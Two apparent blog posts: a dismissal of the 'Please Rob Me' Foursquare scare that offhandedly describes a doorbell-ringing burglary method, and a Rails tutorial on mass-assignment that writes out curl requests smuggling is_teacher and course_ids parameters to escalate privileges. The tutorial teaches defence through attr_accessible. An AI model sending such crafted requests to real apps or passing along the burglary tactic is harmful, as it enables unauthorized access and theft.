“Hey man, I know you really like Foursquare, but you should check out this new site called Please Rob Me. Foursquare is actually really dangerous, cuz now it’s easy for robbers to know when you’re not at your house!”

I’m a Foursquare user, and I’ve heard variations of this from over a dozen of my friends in the past 24 hours. For the record, I think “Please Rob Me” is a really funny and creative idea, and I love that they made it. However, anyone who is legitimately giving privacy/security advice over this is being ridiculous.

First of all, most people are out of the house from 9am to 5pm. Robbers know this, and Foursquare checkins don’t change it.

Second, there’s absolutely zero indication of whether or not anyone else is home, or how soon you’ll be getting back. These are much more crucial pieces of knowledge than “a single person was not in his house at this time”.

Last, and most important, a superior technology has existed for decades: the doorbell. Run around a neighborhood ringing doorbells of houses that look like they might be vacated, and break into the ones that no one answers.

“Oh but people don’t answer their doorbell every time, so a robber might break into an occupied house!”

Right. Just like people don’t have to actually be at a place to check into it on Foursquare, and like how checking in on Foursquare doesn’t mean no one else is home. There are potential false positives with both methods (and if there weren’t, people would be getting robbed a lot more). The point is, breaking in based on doorbell-ringing is much less dangerous than doing it based on Foursquare checkins, as it’s reasonably likely that no one is home if no one answers the doorbell

In reality, privacy via anonymity has always been a pretty shaky concept. Yes, checking into Foursquare does give robbers one more tool to make their job easier, but in the face of much better tools (like the doorbell), it’s negligible. If you chose to be a Foursquare user in the first place, Please Rob Me should have no impact on your decision.

What is attr_accessible?

In Ruby on Rails, attr_accessible allows you to specify which attributes of a model can be altered via mass-assignment (most notably by update_attributes(attrs) and new(attrs)). Any attribute names you pass as parameters will be alterable via mass-assignment, and all others won’t be.

How does mass-assignment work normally?

By default, mass-assignment methods accept a hash of attribute values, each keyed by their associated attribute’s name. If I ran the following code:

User.new({ :name => 'Harry Potter', :email => 'hp@hp.com' })

A new instance of the User model would be created, and the name and email attributes would be set accordingly. It can also be used to alter related models. For example:

User.new({
  :name => 'Albus Dumbledore',
  :is_teacher => true,
  :course_ids => [1, 2, 3] })

In addition to creating a user with the appropriate attributes, this will update the specified courses to be owned by this user(assuming a user has_many courses in our app).

How can this be abused?

Very easily. What if someone did this:

User.new({ :name => 'Draco Malfoy', :is_teacher => true })

This Draco Malfoy fellow may not actually be a teacher, but the system is none the wiser. Of course, the developer would never code this; in a real Rails app, the code is going to look like this:

User.new(params[:user])

The elements in params[:user] are taken from the POST/GET/PUT data passed along when the action was run. They’re thrown blindly into the mass-assignment, and any attributes whose names match the keys will be set.

“So what’s the big deal? Just don’t include an ‘is_teacher’ field in the web form, and the param won’t be there.” This is true for innocent users, but the malicious ones (and Draco Malfoy is definitely a malicious one) have an easy way around this. A web form is just a way to make it easy for users to pass data to your app. There are other ways. For example, if I wanted to register for the app via the command line instead of a browser, I could do it like this:

curl -d "user[name]=Harry Potter&user[email]=hp@hp.com" \
http://myapp.com/users/

This sends a request to http://myapp.com/users/ and passes data in the exact format it would’ve appeared if I’d filled out a web form that asked for a name and email address. However, I could also do this:

curl -d \
"user[name]=Draco Malfoy&user[email]=m@hp.com&user[is_teacher]=1" \
http://myapp.com/users/

Since is_teacher is an attribute name in my User model, and mass-assignment methods blindly accept whatever attributes they see, Draco Malfoy has just set himself a teacher.

Even worse, I could use this to grab courses that may not be mine.

curl -d \
"user[name]=Draco Malfoy&user[course_ids]=1&user[course_ids]=2" \
http://myapp.com/users/

Draco Malfoy has now taken courses 1 and 2 away from whoever they originally belonged to (Dumbledore, if my memory serves me) and given them to himself.

How can we prevent this?

There are a few obvious but clumsy ways. We could skip mass assignment, setting each individual attribute in our controller, but this will introduce a lot of duplicate and unnecessary code. We could explicitly pull unwanted parameters out:

params.delete(:is_teacher)
params.delete(:course_ids)

This also introduces a lot of duplicate code. If we ever add new columns that we want to restrict, or decide we want to unrestrict a column, we’re going to have to go through the create and update actions, and any others that perform mass assignment.

We could factor these out into some sort of sanitize_params method on each model. This is a better solution, but you still have to call it in every action that alters the data. It’s definitely not as good as the built-in one: attr_accessible. We can add this to the top of the User model:

attr_accessible :name, :email

This white-lists name and email; these two attributes will be accepted from a mass-assignment method, while all others will be ignored. This is by far the safest way to do it; only attributes you’ve explicitly allowed (which hopefully means you’ve thought carefully about them) can be set by mass-assignment. This way, if some intern comes along and adds a bunch of dangerous columns or relations (payment_accepted or horcruxes, for example), no one has to think about updating the sanitize methods.

What does this not do?

I saw one person say “Why would I put anything in attr_accessible? Why would I want any of my attributes to be hackable?”

Make no mistake: attr_accessible is no substitution for proper access control. If all users have write access to all other users, attr_accessible will let one user change another’s name attribute if it’s specified. Regular authentication and access control must be used to prevent users from writing to model instances that they shouldn’t be able to write to. Once this is done correctly, attr_accessible can be used to prevent a malicious user from altering data of her own that she shouldn’t be able to alter.

To be more clear, it could be considered “hacking” if a user were able to change everyone’s name to “Voldemort”. attr_accessible can’t prevent this; you need to do proper authentication with something like Authlogic. Once you’ve set your controllers up to prevent a user from even attempting to change another user’s data, you’ve prevented this “hack”.

If the user tries to change his own name to “Voldemort”, that’s totally fine. We don’t care if he does it via the web app, curl, or anything else; users are allowed to change their own name. Including :name in attr_accessible isn’t making it “hackable”, because it’s an attribute that users should be able to change.

If the user tries to change his is_teacher attribute from false to true, that’s also considered “hacking”. We don’t want to let users do this, so we exclude :is_teacher from attr_accessible to prevent it.

Are attributes excluded from attr_accessible immutable?

No. They can still be altered, just not via mass-assignment. If I exclude is_teacher from attr_accessible, and I go:

hagrid = User.first(:conditions => { :name => 'Rubeus Hagrid' })
hagrid.is_teacher = true
hagrid.save

That will work just fine. The difference is, it forces you to set the attribute explicitly, so there’s no potential of accidentally setting an attribute unexpectedly passed to mass-assignment. This way, I can allow my non-dangerous attributes to be set via mass-assignment with attr_accessible, then explicitly provide or deny control over dangerous attributes in other actions.